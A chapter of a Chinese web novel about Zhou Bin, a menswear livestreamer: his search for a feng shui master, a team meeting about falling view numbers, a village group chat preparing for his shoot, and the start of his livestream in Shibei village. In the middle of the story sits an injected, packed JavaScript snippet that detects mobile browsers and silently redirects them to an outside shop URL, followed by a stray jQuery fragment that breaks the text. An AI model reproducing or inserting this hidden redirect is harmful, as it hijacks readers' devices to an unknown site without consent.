同一时间，几十公里外的 Z 江新城，另一场对话正在收尾。


    饭桌上，老罗说起那件事还有点遗憾：“我特意托人打听，那位张道长正一全真双修。可惜人家只做斋醮，不看阳宅。”


    周斌夹了一筷子菜，没接话。


    作为公司文化顾问的老刘筷子顿了顿：“正一全真双修？紫袍高功？还是个年轻女孩子？”


    “怎么，你认识？”


    “不认识，”老刘放下筷子，“但我认识道观的人，可以帮忙递个话。”


    周斌看了他一眼，没说话。


    他托老刘找风水先生找了快两个月，最后还是靠刚认识的邻居才打听到一个靠谱的。


    这些话他还没法说——说多了，怕把老刘逼急了，回头随便找个人来糊弄他。


    那种沽名钓誉的“大师”，他见得还少吗？


    几天后，话递回来了。


    那边回得很干脆：不出门看风水，道观里有其他师父可以介绍。


    老刘在电话里叹气：“现在风水大师不好找，我想请的那几位，档期都排满了。”


    周斌挂了电话，站在窗前看了一会儿江景。


    手机震了一下。阿浩发来消息：斌哥，明天开会，有个新方向想跟你聊。


    他回了一个字：好。


    ---


    第二天上午，公司会议室。


    投影仪开着，阿浩把直播间近期数据投到屏幕上：


    “场均观看跌了 15%，平均停留时长少了一分五十四秒，新粉转化率掉了 0.8%。”


    周斌没说话。他靠在椅背上，看着那几个数字。


    阿浩等了两秒，继续说：“斌哥，咱们现在的视频太‘直播间化’了——全是面料讲解和录屏剪辑。粉丝看腻了，平台也不推流。”


    小林在旁边接话：“我最近看了几个广州本地服装博主的探店号，‘城中村美食’‘老城区漫步’这类内容数据都不错。


    而且很多粉丝反馈，他们想看的是‘斌哥私下什么样’，不是‘斌哥直播间什么样’。”


    阿浩又点击几个对标账号的数据：“男装主播 A 的‘工厂探店’系列，单条播放破了 300 万，粉丝增量翻了两倍。B 的‘城市漫步’系列，评论互动率冲到 8%以上，明显拉高了账号权重。”


    周斌看完，往后一靠。


    “所以？”


    阿浩顿了顿：“我们得做点生活化的内容。斌哥，你不是刚买了别墅吗？装修过程，和设计师的拉扯，周边环境……这些拍出来，比面料讲解有意思多了。”


    周斌沉默了几秒。


    “半山那边还没动工，”他说，“我们得先找点别的内容垫一垫。”


    小林接过话：“我们上周去踩了几个点。”


    她翻出文档：“石湾古镇，文化底蕴够，但游客密度太大，我们踩点的时候镜头里全是人，根本没法拍。


    岭南湿地，自然景观是挺好，但拍出来偏文艺风，和咱们男装的商务调性对不上。”


    她顿了顿。


    “还有一个——石陂村，最近小红书上挺火的，几幅墙绘构图很有记忆点。关键是没什么商业味，拍出来‘烟火气’很足，适合做人设内容。”


    阿浩眼睛亮了：“石陂村？我刷到过，那几幅墙绘视觉感很强，关键是还没有被大主播洗过。斌哥，这种‘原生感’现在很难找了。”


    去踩点的摄影师阿 Ken 在旁边补充了一句：“听说石陂村的民俗文化也保存得挺好，今年祠堂祖祭，还请了一位年轻的紫袍女道长。”


    周周斌愣了一下——在城中村租房住的年轻女道长，还是一位紫袍高功？


    他回过神，直接拍了板：“行，就定石陂村。小林你牵头，三天内把直播动线和台本框架拉出来，重点突出‘烟火气’和‘人文感’。


    阿浩去对接村委会，谈场地和拍摄许可，顺便摸摸底——那位道长如果愿意出镜最好，不愿意也别强求。控评团队提前介入，评论区风向要盯死，别让人带节奏。”


    ---


    石陂村村民大群（全员）


    李振华（村支书）：


    @所有人各位村民，通知一件事。


    明天（周三）上午 10 点，抖音百万粉丝主播“斌哥家”到咱们村拍摄直播，主要拍墙绘和村容村貌，宣传石陂村。


    几点要求：


    1. 热情待客，正常生活生产即可，不要围观起哄


    2. 不要索要合影、签名，不要干扰拍摄


    3. 自家的汽车、电动车停好，不要占道


    4. 如有借道、借用场地等需求，配合一下


    这是公益宣传，不收费，目的是把石陂村推出去，以后来打卡的人多了，对大家都好。


    各社社长留意一下自己片区，如有突发情况及时报村委会。


    李振华


    2026 年 4 月 28 日


    李永强：


    @所有人再补充两句。


    明天这个直播，是咱们村第一次接待百万粉丝的主播。马上五一长假就到了，这次拍得好不好，相当于给我们五一迎客做一次全流程演练。


    墙绘拍得漂亮，村容村貌干净整齐，视频发出去，五一自然有人来。多一个游客点赞，村里的小吃摊、店铺、住宿、就连卖菜卖水果也多一份生意。


    所以拜托各位街坊，明天该配合配合，该让路让路。咱们把事办妥了，五一才能把人留住。


    阿芬：


    百万粉丝？多大年纪啊？靓不靓仔？


    日本佬：


    @阿芬你又来，人家是来拍墙绘的，不是来相亲的。


    阿芬：


    我就问问嘛[害羞]


    五巷张婶：


    明天几点？我正好要去菜市场，会不会堵路？


    李永强：


    @五巷张婶上午 10 点开始，尽量错开那个时间出门，或者走四巷那边绕一下。


    李永强：


    @所有人再补充两句。各社社长注意，明天多盯着自己片区，有情况及时报。


    阿全：


    收到，我那片我盯着，有事马上报。


    大头东：


    @李振华理事长，他们要不要买水买饮料？我店里可以送过去。


    李振华：


    @大头东 不用，他们有团队自己带。你做好你的生意就行。


    英婶：


    会来菜市场吗？卫生方面怎么办？


    阿芬：


    我们卫生组已经提前行动，明天也会加派人手，保证不给村里丢脸。


    阿洪：


    千万别走小街小巷啊，我的修车铺直接关门算了。


    李永强：


    行了，各位心里有数就行。明天辛苦大家，配合一下。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364333|197104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ---


    上午九点五十五分，周斌在商业街口那幅游龙墙绘下面站定。


    太阳已经升起来了，光线从骑楼那边切过来，把龙鳞照得暖融融的。他抬头看了一眼那面墙，没说话。


    阿浩在旁边举着手机，正在调试镜头。小林从后备箱取出一身熨烫好的衣服，递给周斌：“斌哥，换一下。”


    周斌接过来，钻进保姆车。


    两分钟后下来，整个人看着清爽了不少——深灰色的短袖衫，料子软软的，垂在身上看着非常舒服。浅色的亚麻裤子，裤线笔直，裤脚刚好盖住脚面。


    他走到墙边，让小林看了一眼。


    小林退后两步，上下打量。


    “可以，”她说，“衣服稍微掖一下，自然点。”


    “开始了？”


    “开始。”


    阿浩把镜头对准他，小卓在边上举着手机看数据。


    弹幕已经开始飘了。


    “开了吗”


    “第一”


    “斌哥今天在外面？”


    周斌这才对着镜头笑了笑。


    “开了开了。”他说，“今天不在直播间，出来透透气。”


    他的声音不高，带着点刚开播的松弛，不像在镜头前，倒像在和熟人聊天。


    他边走边看弹幕边回答网友的提问。


    “是啊，天天闷在室内，今天出来看看花。”


    “这里？广府一个城中村，叫石陂村。阿浩说这边挺有意思的，”他往身后那幅墙绘指了指，“我刚到，还没开始逛。”


    镜头跟着他的手转过去。墙绘上的游龙在太阳底下熠熠生辉，那些勾线的金粉一闪一闪的，整条龙像活了一样。


    周斌往前走了一步，抬头看了一眼手机屏幕，弹幕刷得快起来了。


    ——“斌哥今天穿什么”


    ——“这件没见过”


    ——“裤子好看”


    他低头看了一眼自己身上，笑了。


    “行行行，先讲衣服。”他侧过身，让镜头拍侧面，“今年我家主推的春夏基础款，丝毛混纺。料子薄，垂，你们看这个感觉——”


    他往前走了几步，衣服随着动作晃起来，又落回去，垂坠有质感。


    ——“多少钱？”


    ——“链接呢？”


    ——“斌哥多高？”


    他没急着答，低头看了一眼裤子，用脚踢了踢裤腿。


    “裤子也是新款，亚麻混纺，轻薄款。你们看这个垂坠感，走路带风那种。”


    正说着，街那头有个阿婆骑着三轮车慢慢过来，车上装着几捆青菜。周斌往旁边让了让，镜头也跟着晃了一下。


    “稍等啊，给阿婆让个路。”


    阿婆从他身边经过，抬头看了他一眼，又看了一眼举着手机的阿浩，没说话，骑着车走了。


    弹幕又刷起来。


    ——“哈哈哈哈哈”


    ——“阿婆：这人谁啊”


    ——“社死现场”


    周斌笑了一下，等阿婆走远了，才继续往前走。


    “刚说到哪儿了？哦对，裤子。我178，160斤，穿这个码刚好，你们自己对着看。”


    他顿了顿，又补了一句：“尺码表链接里有，自己量一下肩宽胸围，别买回去穿不了又来骂我。”


    弹幕又刷起来。


    ——“链接呢”


    ——“斌哥别墨迹”